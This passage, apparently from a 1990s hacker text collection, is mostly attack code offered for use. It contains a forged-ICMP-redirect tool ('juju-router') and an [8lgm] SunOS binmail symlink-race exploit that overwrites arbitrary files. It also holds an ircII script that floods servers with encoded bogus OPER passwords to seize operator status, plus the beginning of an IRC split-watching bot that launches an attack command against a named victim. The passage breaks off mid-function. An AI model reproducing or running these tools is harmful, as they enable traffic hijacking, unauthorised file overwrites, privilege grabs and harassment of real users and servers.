  852.   char *host;
  853.   struct sockaddr_in *saddr;
  854. {
  855.   struct hostent *h=gethostbyname(host);
  856.  
  857.   bzero(saddr,sizeof(struct sockaddr));
  858.   saddr->sin_family=AF_INET;
  859.   if (h!=NULL)
  860.   {
  861.     saddr->sin_family=h->h_addrtype;
  862.     bcopy(h->h_addr,(caddr_t)&saddr->sin_addr,h->h_length);
  863.     return(0);
  864.   }
  865.   else
  866.   {
  867.     fprintf(stderr,"juju-router: unknown host ``%s''\n",host);
  868.     return(-1);
  869.   }
  870.   return(0);
  871. }
  872.  
  873. in_cksum(addr,len)
  874.   u_short *addr;
  875.   int len;
  876. {
  877.   register int nleft = len;
  878.   register u_short *w = addr;
  879.   register int sum = 0;
  880.   u_short answer = 0;
  881.  
  882.   /* This function was taking from existing ICMP nuke code and
  883.      was presumably originally stripped from a ``ping.c'' implementation.
  884.   */
  885.  
  886.   while( nleft > 1 )
  887.   {
  888.     sum+=*w++;
  889.     nleft-=2l;
  890.   }
  891.   if( nleft == 1 )
  892.   {
  893.     *(u_char *)(&answer) = *(u_char *)w;
  894.     sum+=answer;
  895.   }
  896.   sum=(sum>>16)+(sum& 0xffff);
  897.   sum+=(sum>>16);
  898.   answer=~sum;
  899.   return(answer);
  900. }
  901.  
  902. int
  903. icmp_reroute(host,uhost,port,code)
  904.   char *host, *uhost;
  905.   int code, port;
  906. {
  907.   struct sockaddr_in       name;
  908.   struct sockaddr          dest,    uspoof;
  909.   struct icmp              *mp;
  910.   struct tcphdr            *tp;
  911.   struct protoent          *proto;
  912.  
  913.   int    i, s, rc;
  914.   char   *buf=(char *) malloc(sizeof(struct icmp)+64);
  915.  
  916.   mp=(struct icmp *) buf;
  917.  
  918.   if (resolver(host,&dest)<0) return(-1);
  919.   if (resolver(uhost,&uspoof)<0) return(-1);
  920.  
  921.   if ((proto=getprotobyname("icmp")==NULL))
  922.   {
  923.     fprintf(stderr,"fatal; unable to determine protocol number of ``icmp''\n");
  924.     return(-1);
  925.   }
  926.   
  927.   if ((s=socket(AF_INET,SOCK_RAW,proto->p_proto))<0) 
  928.   {
  929.     perror("opening raw socket");
  930.     return(-1);
  931.   }
  932.   name.sin_family=AF_INET;
  933.   name.sin_addr.s_addr=INADDR_ANY;
  934.   name.sin_port=htons(port);
  935.  
  936.   if ((rc=bind(s,(struct sockaddr *) &name, sizeof(name)))==-1)
  937.   {
  938.     fprintf(stderr,"fatal; error binding sockets\n");
  939.     return(-1);
  940.   }
  941.  
  942.   if ((proto=getprotobyname("tcp")==NULL))
  943.   {
  944.     fprintf(stderr,"fatal; unable to determine protocol number of ``tcp''\n");
  945.     return(-1);
  946.   }
  947.  
  948.   bzero(mp,sizeof(struct icmp)+64);
  949.   mp->icmp_type         = ICMP_REDIRECT;
  950.   mp->icmp_code         = code;
  951.   mp->icmp_ip.ip_v      = IPVERSION;
  952.   mp->icmp_ip.ip_hl     = 5;
  953.   mp->icmp_ip.ip_len    = htons(sizeof(struct ip)+64+20);
  954.   mp->icmp_ip.ip_p      = IPPROTO_TCP;
  955.   mp->icmp_ip.ip_src    = ((struct sockaddr_in *)&dest)->sin_addr;
  956.   mp->icmp_ip.ip_dst    = ((struct sockaddr_in *)&dest)->sin_addr;
  957.   mp->icmp_gwaddr       = ((struct sockaddr_in *)&uspoof)->sin_addr;
  958.   mp->icmp_ip.ip_ttl    = 150;
  959.   mp->icmp_cksum        = 0;
  960.   tp=(struct tcphdr *)((char *)&mp->icmp_ip+sizeof(struct ip));
  961.   tp->th_sport          = 23;
  962.   tp->th_dport          = htons(1499);
  963.   tp->th_seq            = htonl(0x275624F2);
  964.   mp->icmp_cksum        = htons(in_cksum(mp,sizeof(struct icmp)+64));
  965.  
  966.   if ((i=sendto(s,buf,sizeof(struct icmp)+64,0,&dest,sizeof(dest)))<0)
  967.   {
  968.     fprintf(stderr,"fatal; error sending forged packet\n");
  969.     return(-1);
  970.   }
  971.   return(0);
  972. }
  973.  
  974. void
  975. main(argc,argv)
  976.   int argc;
  977.   char **argv;
  978. {
  979.   int i, code;
  980.  
  981.   if ((argc<4) || (argc>5))
  982.   {
  983.     fprintf(stderr,"usage: juju-router target new-destination port code\n");
  984.     fprintf(stderr,"codes: 0 _REDIRECT_NET    1 _REDIRECT_HOST (default)\n");
  985.     fprintf(stderr,"       2 _REDIRECT_TOSNET 2 _REDIRECT_TOSHOST\n");  
  986.     exit(1);
  987.   }
  988.  
  989.   printf("juju-router: rerouting dynamically....");
  990.   if (code!=0 && code!=1 && code!=2 && code!=3) code=0;
  991.   if (icmp_reroute(argv[1],argv[2],argv[3],code)<0)
  992.   {
  993.     printf("failed.\n");
  994.     exit(1);
  995.   }
  996.   printf("succeeded.\n");
  997.   exit(0);
  998. }
  999.  
  1000. ------------------------------------------------------------------------------
  1001.  
  1002. #!/bin/sh
  1003. # tmpmail: overwrite files using binmail
  1004. #
  1005. # Usage: tmpmail to-file
  1006. #
  1007. # (c) [8lgm] 1994, tested under SunOS 4.1.2.
  1008. #
  1009. #
  1010. # Note: Script only works if mail is suid root.
  1011. #       Other vendors may use tmpnam("ma").
  1012. #
  1013. # This vulnerability can be exploited for sgid
  1014. # mail binmails, the only modification would
  1015. # be to predict the pid of the mail process
  1016. # created by sendmail.  This would be 4 forward
  1017. # of the current pid - assuming a 'quiet' system.
  1018. #
  1019. # Will create to-file, or truncate.
  1020.  
  1021. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  1022. IFS=" "                          export IFS
  1023.  
  1024. PROG="`basename $0`"
  1025.  
  1026. # Check args
  1027. if [ $# -ne 1 ]; then
  1028.         echo "Syntax: $PROG to-file"
  1029.         exit 1
  1030. fi
  1031.  
  1032. TO_FILE="$1"
  1033.  
  1034. # Check we're on SunOS
  1035. if [ "x`uname -s`" != "xSunOS" ]; then
  1036.         echo "Sorry, this only works on SunOS"
  1037.         exit 1
  1038. fi
  1039.  
  1040. # Create our racing program!
  1041.  
  1042. cat > mailrace.c << 'EOF'
  1043. #include <stdio.h>
  1044. #include <unistd.h>
  1045.  
  1046. char path[] = "/tmp/maaXXXX";
  1047.  
  1048. main(argc,argv)
  1049. int argc;
  1050. char **argv;
  1051. {
  1052.   int pid;
  1053.   char *trv;
  1054.  
  1055.   if (argc != 3) {
  1056.     fprintf(stderr, "Usage: %s pid tofile\n", argv[0]);
  1057.     exit(1);
  1058.   }
  1059.  
  1060.   pid = atoi(argv[1]);
  1061.  
  1062. /* Stolen from mktemp.c */
  1063.   for (trv = path; *trv; ++trv);          /* extra X's get set to 0's */
  1064.   while (*--trv == 'X') {
  1065.     *trv = (pid % 10) + '0';
  1066.     pid /= 10;
  1067.   }
  1068.  
  1069.   symlink("/tmp/ShortSong", path);
  1070.   while(symlink(argv[2], path));
  1071.   exit(0);
  1072. }
  1073. EOF
  1074. cc -o mailrace mailrace.c
  1075.  
  1076. # Check we now have mailrace
  1077. if [ ! -x "mailrace" ]; then
  1078.         echo "$PROG: couldnt compile mailrace.c - check it out"
  1079.         exit 1
  1080. fi
  1081.  
  1082. # create some input for binmail
  1083. echo localhost $USER > /tmp/BlueRoom.$$
  1084. ./mailrace $$ $TO_FILE &
  1085. exec /bin/mail -d $LOGNAME < /tmp/BlueRoom.$$
  1086.  
  1087. ------------------------------------------------------------------------------
  1088. ###############################################################################
  1089.  
  1090. #  #  ##   ### #  #  ##  ###          Attempts to hack  IRC  operator status by 
  1091. #  # #  # #    # #  #  # #  #         flooding the  server with bogus passwords 
  1092. #### #### #    ##   #  # #  #         of various lengths.  Works on all servers
  1093. #  # #  # #    # #  #  # ###          I've tested so far..
  1094. #  # #  #  ### #  #  ##  #  v1.3+path                             - Illegible 8
  1095.  
  1096. ###############################################################################
  1097. set NOVICE off
  1098.  
  1099. # #
  1100. ###  Bogus passwords.. don't change these.  Other passwords don't work. (?)
  1101. # #
  1102. @ HackOP.A = [EACAGCGPGGGICADNCAFLGJGMGMGFGHGJGCGMDIFN]
  1103. @ HackOP.B = [FOGPGOCAFOGNGPGEGFCACCCFCACFCACLHHHDCCCAGFGDGIGPCACKCKCKCAENGPGEGFCAGDGIGBGOGHGFCACCCLGPHDHHCCCAGGGPHCCAHFHDGFHCCACEEOCAGCHJCACEEODLHDGFHECAFDFEEBFEFFFDFPFFENEPEEEFCACACICLGPCFCDCJ]
  1104. @ HackOP.C = [FOGPGOCACDCNHDGFGOGEFPGNHDGHCADBCACKCAHLCPCPFOGOGPHEGJGDGFCACEGCGPGGGICACEEOCACNDOCACKCEDACKCACEDBCNHN]
  1105. @ HackOP.D = [GNGPGEGFCAEKHFGHGHGMGFHCCACLHDHH]
  1106. @ HackOP.E = [GFGDGIGPCACKCKCKCAFJGPHFCAGBHCGFCAGOGPHHCAGBGOCAEJFCEDCAEPHAGFHCGBHEGPHC]
  1107. @ HackOP.F = [FOGPGOCAGNGPGEGFCACNCCCFCACFCACLHHHDCC]
  1108. @ HackOP.G = [FOGPGOCACDCNHCGBHHFPGJHCGDCADACACCCFCADDDBDCCACKCCCAHLGJGGCACIFLCEDDFNDNDNFLCEEOFNCJCAHLHEGJGNGFHCCADACAGFGDGIGPCACKCKCKCACEDDCAGJHDCAGBGOCAEJFCEDCAEPHAGFHCGBHEGPHCHNHN]
  1109. @ HackOP.H = [EACAFDFEEBFEFFFDFPFFENEPEEEFCADNCAFLCAFMCICLGPCFCDFMCJFN]
  1110. @ HackOP.I = [FOGPGOCAFOGDHEGDHACACCCFCACFCAEJFCEDEPFACACKCCCAHLEACAGCGPGGGICADNCAFLCEDAFNDLCPCPFOGOGPHEGJGDGFCACEGCGPGGGICAEIGPCAGIGPCAGIGPCBHN]
  1111. @ HackOP.J = [FOGPGOCAFOGDHEGDHACACCCFCACFCAEJFCEDEPFHCACKCCCAHLGJGGCACIFLCEDAFNDNDNFLCEGCGPGGGIFNCJCAHLCEDDCNDLCPCPFOGOGPHEGJGDGFCACEDACAGEGPGJGOGHDKCACEDDCNHNHN]
  1112. @ HackOP.K = [FOGBGMGJGBHDCAGLGJGMGMCAGJGGCACIFLCEDAFNCJCAHLCPCPFOHDGJGHGOGPGGGGCAELGJGMGMCAGGHCGPGNCACEEOCAFMCICEDACNFMCJHNHLCPCPELEJEMEMHN]
  1113. @ HackOP.L = [FOGPGOCACDFOHCGBHHFPGJHCGDCADACACCCFCADEDADBCACFCACFCADKEOGPCKCCCAHLGJGGCACIFLCEDDFNCBDNFLCEGCGPGGGIFNCJCAHLGFGDGIGPCACKCKCKCACEHDHEHCGJHACIDKCACEDDCNCJHNHLEACAGCGPGGGICADNCAFLDNDAFNHNHN]
  1114. @ HackOP.M = [GFHGGBGMCACPCPFOGOGPHEGJGDGFCACEGCGPGGGICAFCHFGOGOGJGOGHCAEIGBGDGLEPFACACNCACEHEGJGNGFCICJ]
  1115. @ HackOP.N = [FOGBGMGJGBHDCAHDHBHFGJHECAHLCPCPFOHDGJGHGOGPGGGGCACPHDHBHFGJHECACEDACNHN]
  1116. @ HackOP.O = [FOGBGMGJGBHDCAGDGPGOGOGFGDHECAGJGGCACIFLCEDAFNCJCAHLHNHLHNDLGFGDGIGPCACKCKCKCAEDEPEOEOEFEDFECAEOGPHECAGFGOGPHFGHGICAHAGBHCGBGNGFHEGFHCHD]
  1117. @ HackOP.P = [FOHDGFHECAGFHIGFGDFPHAHCGPHEGFGDHEGJGPGOCAGPGGGG]
  1118. @ HackOP.Q = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAGFHGGBGMCAFMFMCECEGEGFGDGPGEGFFMFMFMCICEHLEIGBGDGLGPHACOEJHNFMFMFMCJCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD]
  1119. @ HackOP.R = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAGFHGGBGMCAFMFMCECEGEGFGDGPGEGFFMFMFMCICEHLEIGBGDGLGPHACOEKHNFMFMFMCJCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD]
  1120. @ HackOP.S = [GFHGGBGMCAFOGFHIGFGDCAGFGDGIGPCAEACAGCGPGGGICADNCAFLCEGCGPGGGIFNCADODOCEHLEIEPENEFHNCPCOGJHCGDHCGD]
  1121. @ HackOP.Z = [FOGBGMGJGBHDCACNHBHFGPHEGF]
  1122.  
  1123. # #
  1124. ###  Ignore failed hack attempts..
  1125. # #
  1126. on #^raw_irc "% 491 *No O-lines*" #
  1127.  
  1128. # #
  1129. ###  Poke server (causes a "POKE : unknown command" reply)
  1130. # #
  1131. @ hackop.poke.junk = [FOGBGMGJGBHDCAHBHFGPHEGFCAHLCEGEGFGDGPGEGFCICEDCCNCJHN]
  1132. alias hackop.poke {
  1133.     quote POKE \\;$decode($hackop.poke.junk)
  1134.     wait
  1135. }
  1136.  
  1137. # #
  1138. ###  Send bogus passwords..
  1139. # #
  1140. alias hackop.hack {
  1141.     foreach HackOP XX {
  1142.         if ([$(HackOP.$XX)]!=[]) {quote OPER $N $(HackOP.$XX)}
  1143.         wait
  1144.     }
  1145. }
  1146.  
  1147. # #
  1148. ###  Attempt to hack ops..
  1149. # #
  1150. alias hackop {
  1151.     umode -sw
  1152.     echo [HackOP] Poking server.. (should reply with error message)
  1153.     hackop.poke
  1154.     echo [HackOP] Attempting to hack IrcOps..
  1155.     hackop.hack
  1156. }
  1157.  
  1158. # #
  1159. ###  Help..
  1160. # #
  1161. alias hackhelp {
  1162.     echo
  1163.     echo [HackOP] You have loaded HackOP.irc v1.3+path from Illegible 8.
  1164.     echo [HackOP]
  1165.     echo [HackOP] This script attempts to hack IRC Operator status on
  1166.     echo [HackOP] your current server.  To use it just type /hackop.
  1167.     echo [HackOP]
  1168.     echo [HackOP] Aliases added:  /hackhelp /hackop /kpath
  1169.     echo [HackOP]
  1170.     echo [HackOP] Enjoy it.. /kill your friends. 8-)
  1171.     echo
  1172. }
  1173.  
  1174. # #
  1175. ###  The following code is taken from the ircII 2.2.9 distribution...
  1176. # #
  1177.  
  1178. ###############################################################################
  1179. #
  1180. # No Kill Path Script II
  1181. #
  1182. # converted to 2.2.1 by phone
  1183. # CONVERTED for ircII2.2
  1184. # Version for servers 2.7.1* by Nap@irc <pioch@poly.polytechnique.fr>
  1185. # Original script from YeggMan
  1186. # Simplification by Daemon
  1187. # This version works both with old and new 2.7.1e kill formats !
  1188.  
  1189. @ kpath.kpath = [<empty>]
  1190. alias kpath echo ### Last received KILL Path: $kpath.kpath
  1191.  
  1192. alias kpath.ridx @ function_return = RINDEX(! $0) + 1
  1193. alias kpath.is_serv @ function_return  = INDEX(. $MID($kpath.ridx($0) 512 $0))
  1194. alias kpath.opkill echo ### KILL for $0 $MID($kpath.ridx($1) 9 $1) $2-
  1195. alias kpath.svkill echo ### ServerKill for $0
  1196.  
  1197. on ^server_notice "% * Notice -- Received KILL*" {
  1198.         if ([$9] == [From])
  1199.     {
  1200.         ^assign kpath.kpath $12-
  1201.         if (kpath.is_serv($12) > -1)
  1202.         { kpath.svkill $8 }
  1203.         { kpath.opkill $8 $10 $13- }
  1204.     }
  1205.     {
  1206.         ^assign kpath.kpath $10-
  1207.         if (kpath.is_serv($10) > -1)
  1208.         { kpath.svkill $8 }
  1209.         { kpath.opkill $8 $10 $11- }
  1210.     }
  1211. }
  1212. ###[End of stolen code]########################################################
  1213.  
  1214. # #
  1215. ###  HackOP loaded message, misc stuff.
  1216. # #
  1217. alias umode mode $N $0-
  1218. echo [HackOP] HackOP.irc v1.3+path loaded.  Type /hackhelp for help
  1219.  
  1220. ------------------------------------------------------------------------------
  1221.  
  1222. [Editor's Note:  This is used in conjunction with the next program]
  1223.  
  1224. /*=============================================================*\
  1225.  * ll.c - link looker                                          *
  1226.  * Copyright (C) 1994 by The Software System                   *
  1227.  * Written by George Shearer (george@sphinx.biosci.wayne.edu)  *
  1228. \*=============================================================*/
  1229.  
  1230. /* This program is free software; you can redistribute it and/or modify
  1231.  * it under the terms of the GNU General Public License as published by
  1232.  * the Free Software Foundation; either version 2 of the License, or
  1233.  * (at your option) any later version.
  1234.  *
  1235.  * This program is distributed in the hope that it will be useful,
  1236.  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  1237.  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  1238.  * GNU General Public License for more details.
  1239.  *
  1240.  * You should have received a copy of the GNU General Public License
  1241.  * along with this program; if not, write to the Free Software
  1242.  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  1243.  */
  1244.  
  1245. #define BUFSIZE    400            /* IRC Server buffer */
  1246. #define SERVER    "irc.escape.com"    /* IRC Server        */
  1247. #define PORT    6667            /* IRC Port          */
  1248. #define DELAYS    30            /* Loop delay seconds*/
  1249. #define TIMEOUT    30            /* connection timeout*/
  1250.  
  1251. #define ESTABLISHED    1
  1252. #define INPROGRESS    2
  1253. #define SPLIT        1
  1254.  
  1255. unsigned short int session=0,link_count=0;
  1256. char in[BUFSIZE],out_buf[BUFSIZE],hostname[64];
  1257. char *ins=in;
  1258. char *dedprsn, *kradprsn;
  1259.  
  1260. #include <stdio.h>
  1261. #include <string.h>
  1262. #include <stdlib.h>
  1263. #include <unistd.h>
  1264. #include <sys/types.h>
  1265. #include <sys/time.h>
  1266. #include <fcntl.h>
  1267. #include <signal.h>
  1268. #include <errno.h>
  1269. #include <netinet/in.h>
  1270. #include <sys/socket.h>
  1271. #include <netdb.h>
  1272. #include <arpa/inet.h>
  1273.  
  1274. struct irc_server {
  1275.   char *name;
  1276.   char *link;
  1277.   unsigned short int status;
  1278.   struct irc_server *next;
  1279. } *sl1=(struct irc_server *)0,*sl2=(struct irc_server *)0;
  1280.  
  1281. void do_ping(char *,char *);
  1282. void do_001(char *,char *);
  1283. void do_error(char *,char *);
  1284. void do_364(char *,char *);
  1285. void do_365(char *,char *);
  1286.  
  1287. struct parsers {
  1288.    char *cmd;
  1289.    void (*func)(char *,char *);
  1290. } parsefuns[] = {
  1291.    { "PING", (void *)do_ping },
  1292.    { "001", (void *)do_001 },
  1293.    { "364",(void *)do_364 },
  1294.    { "365", (void *)do_365},
  1295.    { "ERROR",(void *)do_error},
  1296.    { (char *)0,(void *)0 }
  1297. };
  1298.  
  1299. struct sockaddr_in server;
  1300. int sock=0;
  1301.  
  1302. unsigned long int
  1303. resolver(char *host) {
  1304.   unsigned long int ip=0L;
  1305.  
  1306.   if(host && *host && (ip=inet_addr(host))==-1) {
  1307.     struct hostent *he;
  1308.     int x=0;
  1309.  
  1310.     while(!(he=gethostbyname((char *)host)) && x++<3) {
  1311.       printf("."); fflush(stdout);
  1312.       sleep(1);
  1313.     }
  1314.     ip=(x<3) ? *(unsigned long *)he->h_addr_list[0] : 0L;
  1315.   }
  1316.  
  1317.   return(ip);
  1318. }
  1319.  
  1320. void
  1321. clean_sl2(void) {
  1322.   while(sl2) {
  1323.     struct irc_server *temp=sl2->next;
  1324.     if(sl2->name)
  1325.       free(sl2->name);
  1326.     if(sl2->link)
  1327.       free(sl2->link);
  1328.     free(sl2);
  1329.     sl2=temp;
  1330.   }
  1331.   sl2=(struct irc_server *)0;
  1332. }
  1333.  
  1334. void
  1335. exit_program(char *why) {
  1336.   printf("\nExiting program. (%s)\n",why);
  1337.  
  1338.   if(sock)
  1339.     close(sock);
  1340.  
  1341.   while(sl1) {
  1342.     struct irc_server *temp=sl1->next;
  1343.     if(sl1->name)
  1344.       free(sl1->name);
  1345.     if(sl1->link)
  1346.       free(sl1->link);
  1347.     free(sl1);
  1348.     sl1=temp;
  1349.   }
  1350.  
  1351.   clean_sl2();
  1352.  
  1353.   if(in)
  1354.     free(in);
  1355.  
  1356.   exit(0);
  1357. }
  1358.  
  1359. int mystrccmp(register char *s1,register char *s2) {
  1360.    while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
  1361.         (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  1362.      if(*s1++==0) return 0;
  1363.    return (*(unsigned char *)s1-*(unsigned char *)--s2);
  1364. }
  1365.  
  1366. char *mstrcpy(char **to,char *from) {
  1367.   if(from) {
  1368.     if((*to=(char *)malloc(strlen(from)+1)))
  1369.       strcpy(*to,from);
  1370.   }
  1371.   else
  1372.     *to=(char *)0;
  1373.   return(*to);
  1374. }
  1375.  
  1376. char *digtoken(char **string,char *match) {
  1377.   if(string && *string && **string) {
  1378.     while(**string && strchr(match,**string))
  1379.       (*string)++;
  1380.     if(**string) { /* got something */
  1381.       char *token=*string;
  1382.       if((*string=strpbrk(*string,match))) {
  1383.         *(*string)++=(char)0;
  1384.         while(**string && strchr(match,**string))
  1385.           (*string)++;
  1386.       }
  1387.       else
  1388.         *string = ""; /* must be at the end */
  1389.       return(token);
  1390.     }
  1391.   }
  1392.   return((char *)0);
  1393. }
  1394.  
  1395. void signal_handler(void) {
  1396.   exit_program("caught signal");
  1397. }
  1398.  
  1399. void signal_alarm(void) {
  1400.   exit_program("timed out waiting for server interaction.");
  1401. }
  1402.  
  1403. void
  1404. out(void) {
  1405.   int length=strlen(out_buf);
  1406.   errno=0;
  1407.   if(write(sock,out_buf,length)!=length)
  1408.     exit_program((char *)errno);
  1409. }
  1410.  
  1411. void
  1412. init_server(void) {
  1413.   int length;
  1414.  
  1415.   sprintf(out_buf,"USER kil kil kil :ded kilr huntin %s\nNICK kil%d\nPRIVMSG %s :ded kilr hunting %s\n",
  1416.     dedprsn, getpid(), kradprsn, dedprsn);
  1417.   length=strlen(out_buf);
  1418.  
  1419.   errno=0;
  1420.  
  1421.   if(write(sock,out_buf,length)==length) {
  1422.     puts("established");
  1423.     session=ESTABLISHED;
  1424.     alarm(TIMEOUT);
  1425.     sprintf(out_buf,"LINKS\n");
  1426.     out();
  1427.   }
  1428.   else
  1429.     exit_program((char *)errno);
  1430. }
  1431.  
  1432. void
  1433. heartbeat(void) {
  1434.   strcpy(out_buf,"LINKS\n");
  1435.   out();
  1436.   signal(SIGALRM,(void *)heartbeat);
  1437.   alarm(DELAYS);
  1438. }
  1439.  
  1440. void
  1441. do_364(char *from,char *left) {
  1442.   struct irc_server *serv;
  1443.   char *sv1,*sv2;
  1444.   char *nick;
  1445.  
  1446.   serv=(struct irc_server *)malloc(sizeof(struct irc_server));
  1447.   serv->next=sl2;
  1448.  
  1449.   serv->status=0;
  1450.   nick=digtoken(&left," ");
  1451.   sv1=digtoken(&left," ");
  1452.   sv2=digtoken(&left," ");
  1453.  
  1454.   mstrcpy(&serv->name,sv1);
  1455.   mstrcpy(&serv->link,sv2);
  1456.   sl2=serv;
  1457. }
  1458.  
  1459. int
  1460. findserv(struct irc_server *serv,char *name) {
  1461.   for(;serv;serv=serv->next)
  1462.     if(!mystrccmp(name,serv->name))
  1463.       return(1);
  1464.   return(0);
  1465. }
  1466.  
  1467. void
  1468. do_365(char *from,char *left) {
  1469.   struct irc_server *serv=sl1;
  1470.   char kilstring[150];
  1471.  
  1472.   for(;serv;serv=serv->next) {
  1473.     if(!findserv(sl2,serv->name)) {
  1474.       if(!(serv->status & SPLIT)) {
  1475.         printf("Split server  : %s [%s]\n",serv->name,serv->link);
  1476.         serv->status|=SPLIT;
  1477.       }
  1478.     }
  1479.     else
  1480.       if(serv->status & SPLIT) {
  1481.         printf("Merging server: %s [%s]\n",serv->name,serv->link);
  1482.         sprintf(kilstring, "mcb %s %s:%s %s&",
  1483.           kradprsn, dedprsn, serv->name, serv->link);
  1484.         system(kilstring);
  1485.         serv->status&=~SPLIT;
  1486.       }
  1487.   }
  1488.  
  1489.   serv=sl2;
  1490.  
  1491.   for(;serv;serv=serv->next) {
  1492.     if(!findserv(sl1,serv->name)) {
  1493.       struct irc_server *serv2;
  1494.  
  1495.       serv2=(struct irc_server *)malloc(sizeof(struct irc_server));
  1496.       serv2->next=sl1;
  1497.       serv2->status=0;
  1498.       mstrcpy(&serv2->name,serv->name);
  1499.       mstrcpy(&serv2->link,serv->link);
  1500.       sl1=serv2;
  1501.       if(link_count) {
  1502.         printf("Added server  : %s [%s]\n",serv->name,serv->link);
  1503.         sprintf(kilstring, "mcb %s %s:%s %s&",
  1504.           kradprsn, dedprsn, serv->name, serv->link);
  1505.         system(kilstring);
  1506.       }
  1507.     }
  1508.   }
  1509.  
  1510.   link_count=1;
  1511.   clean_sl2();
  1512. }
  1513.  
  1514. void
  1515. do_ping(char *from,char *left) {
  1516.   sprintf(out_buf,"PING :%s\n",hostname);
  1517.   out();
  1518. }
  1519.  
  1520. void
  1521. do_001(char *from,char *left) {
  1522.   printf("Logged into server %s as nickname kil%d\n",from,getpid());
  1523.   printf("Hunting %s\n\n", dedprsn);
  1524.   alarm(0);
  1525.   signal(SIGALRM,(void *)heartbeat);
  1526.   alarm(DELAYS);
  1527. }
  1528.  
  1529. void
  1530. do_error(char *from,char *left) {
  1531.   printf("Server error: %s\n",left);
  1532. }
  1533.  
  1534. void
  1535. parse2(void) {
  1536.   char *from,*cmd,*left;
  1537.  
  1538.   if(*ins==':') {
  1539.     if(!(cmd=strchr(ins,' ')))
  1540.       return;
  1541.     *cmd++=(char)0;
  1542.     from=ins+1;
  1543.   }
  1544.   else {
  1545.     cmd=ins;
  1546.     from=(char *)0;
  1547.   }
  1548.   if((left=strchr(cmd,' '))) {
  1549.     int command;
  1550.     *left++=(char)0;
  1551.     left=(*left==':') ? left+1 : left;
  1552.     for(command=0;parsefuns[command].cmd;command++) {
  1553.       if(!mystrccmp(parsefuns[command].cmd,cmd)) {
  1554.         parsefuns[command].func(from,left);
  1555.         break;
  1556.       }
  1557.     }
  1558.   }
  1559. }
  1560.  
  1561. void
  1562. parse(int length) {
  1563.   char *s=in;
  1564.  
  1565.   *(ins+length)=(char)0;
  1566.  
  1567.   for(;;) {
  1568.     ins=s;
  1569.     while(*s && *s!=(char)13 && *s!=(char)10)
  1570.       s++;
  1571.     if(*s) {
  1572.       while(*s && (*s==(char)13 || *s==(char)10))
  1573.         *s++=(char)0;
  1574.       parse2();
  1575.     }
  1576.     else
  1577.       break;
  1578.   }
  1579.   strcpy(in,ins);
  1580.   ins=in+(s-ins);
  1581. }
  1582.  
  1583. void
  1584. process_server(void) {
  1585.   int x=0;
  1586.  
  1587.   for(;;) {
  1588.     fd_set rd,wr;
  1589.     struct timeval timeout;
  1590.  
  1591.     timeout.tv_usec=0; timeout.tv_sec=1;
  1592.     FD_ZERO(&rd); FD_ZERO(&wr);
  1593.  
  1594.     FD_SET(sock,&rd);
  1595.     if(session==INPROGRESS)
  1596.       FD_SET(sock,&wr);
  1597.  
  1598.     errno=0;
  1599.     select(getdtablesize(),&rd,&wr,NULL,(session==INPROGRESS)
  1600.            ? (struct timeval *)&timeout : NULL);
  1601.  
  1602.     if(errno==EINTR)
  1603.       continue;
  1604.  
  1605.     errno=0;
  1606.     if(session==INPROGRESS) {
  1607.       if(FD_ISSET(sock,&wr)) {
  1608.         init_server();
  1609.          continue;
  1610.       }
  1611.       else {
  1612.         if(x++>=TIMEOUT)
  1613.           exit_program("connection timed out");
  1614.         printf("."); fflush(stdout);
  1615.       }
  1616.     }
  1617.  
  1618.     if(FD_ISSET(sock,&rd)) {
  1619.       int length=read(sock,ins,BUFSIZE-(ins-in));
  1620.  
  1621.       if(length<1) {
  1622.         if(session!=INPROGRESS)
  1623.           if(!errno) {
  1624.             puts("Connection closed by foreign host.");
  1625.             errno=ENOTCONN;
  1626.           }
  1627.           else
  1628.             printf("Connection to %s closed.\n",
  1629.                    inet_ntoa(server.sin_addr));
  1630.         exit_program((char *)errno);
  1631.       }
  1632.       if(strpbrk(in,"\x0a\x0d"))
  1633.         parse(length);
  1634.       else
  1635.         ins=(BUFSIZE-((ins+length)-in)<1)?in:ins+length;
  1636.     }
  1637.   }
  1638. }
  1639.  
  1640. void
  1641. main(int argc,char *argv[]) {
  1642.   char serverhost[80];
  1643.   unsigned short int sport=PORT;
  1644.  
  1645.   kradprsn = argv[1];
  1646.   dedprsn  = argv[2];
  1647.  
  1648.   if(argc<3)
  1649.     exit(1);
  1650.  
  1651.   if(argc==4) {
  1652.     char *port=strchr(argv[3],':');
  1653.     sport=(port)?atoi(port+1):sport;
  1654.     strcpy(serverhost,argv[3]);
  1655.     if(port)
  1656.       serverhost[port-argv[3]]=(char)0;
  1657.   }
  1658.   else
  1659.     strcpy(serverhost,SERVER);
  1660.  
  1661.   signal(SIGPIPE,(void *)signal_handler);
  1662.   signal(SIGHUP,(void *)signal_handler);
  1663.   signal(SIGINT,(void *)signal_handler);
  1664.   signal(SIGTERM,(void *)signal_handler);
  1665.   signal(SIGBUS,(void *)signal_handler);
  1666.   signal(SIGABRT,(void *)signal_handler);
  1667.   signal(SIGSEGV,(void *)signal_handler);
  1668.   signal(SIGALRM,(void *)signal_alarm);
  1669.  
  1670.   errno=0;
  1671.   if((sock=socket(AF_INET,SOCK_STREAM,0))>0) {
  1672.     server.sin_family=AF_INET;
  1673.     server.sin_port=htons(sport);
  1674.     printf("Resolving %s...",serverhost); fflush(stdout);
  1675.     if((server.sin_addr.s_addr=resolver(serverhost))) {
  1676.       puts("done");
  1677.  
  1678.       setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1679.       setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1680.       setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1681.  
  1682.       fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NONBLOCK));
  1683.  
  1684.       printf("Connecting to %s...",inet_ntoa(server.sin_addr));
  1685.       fflush(stdout);
  1686.  
  1687.       errno=0;
  1688.       if(connect(sock,(struct sockaddr *)&server,sizeof(server))) {
  1689.         if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
  1690.           exit_program((char *)errno);
  1691.         else
  1692.           session=INPROGRESS;
  1693.       }
  1694.       else
